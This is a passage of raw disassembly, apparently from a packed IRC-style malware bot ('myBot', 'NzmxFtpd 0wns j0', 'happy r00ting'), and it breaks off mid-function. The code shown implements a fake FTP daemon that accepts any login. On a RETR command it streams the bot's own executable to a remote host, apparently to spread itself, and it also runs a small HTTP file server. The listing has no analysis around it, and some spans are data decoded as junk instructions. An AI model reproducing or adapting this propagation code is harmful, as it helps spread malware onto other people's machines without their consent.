		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574


loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax


loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C6E857h, 8590716Bh,	8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB


loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]


loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		call	near ptr 71AB1A6Dh
		nop
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------


loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------


loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h


loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------


loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------


loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax


loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h


loc_4059E4:				; DATA XREF: Themida_:004F0008o
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	[ebp+arg_0]
		mov	dword_43C838, eax
		mov	[ebp+var_10], 2
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C838
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 2640000h
		nop
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h


loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C838
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 25F0439h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi


loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43F668
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43F690
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43F704
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43F650
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43F560
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]


loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47


loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43F700
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]


loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2


loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3


loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------


loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06


loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]


loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]


loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31


loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]


loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43F700


loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h


loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h


loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43F6B8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------


loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h


loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43F700
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25E02EAh
		nop
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
